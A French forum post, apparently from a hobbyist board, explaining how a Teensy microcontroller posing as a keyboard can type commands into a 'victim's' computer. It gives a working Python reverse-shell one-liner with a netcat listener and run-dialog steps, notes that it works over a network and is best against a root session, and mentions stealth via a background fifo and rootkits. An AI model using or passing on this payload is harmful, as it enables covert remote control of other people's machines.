[Arduino] Les bases

[JL_N_]

@Reverse: Le teensy permet d'envoyer des commandes automatiquement comme si un utilisateur tapait sur son clavier. De ce fait lorsque je branche le teensy sur le pc de la victime une série de commande est envoyée automatiquement ( pratique quand tu as 10 sec seulement ).

Je t'invite a réalise cette manipulation sous linux , c'est ce qui est réalisé par le petit bout de code ci-dessus:
- Lance dans un terminal nc -l 11000 -vvv
- tape ALT + F2
- Entre ceci /bin/sh -c "rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec​t((\"127.0.0.1\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\"]);' <fifo|bash > fifo & "
- Revient dans le premier terminal et tape ls ~ (tu as un shell sur la victime, ici toi même, mais ça marche en réseau )

Libre à toi de faire ce que tu veux ensuite, le top est si il a branché le teensy et qu'il était logger en tant que root
A noter: que le payload est en python parce que mon collègue avait pas netcat -_-
Le "fifo" est pour la furtivité (lancement d'un process en tâche de fond). On peut imaginer pleins de techniques ici (rootkit ...)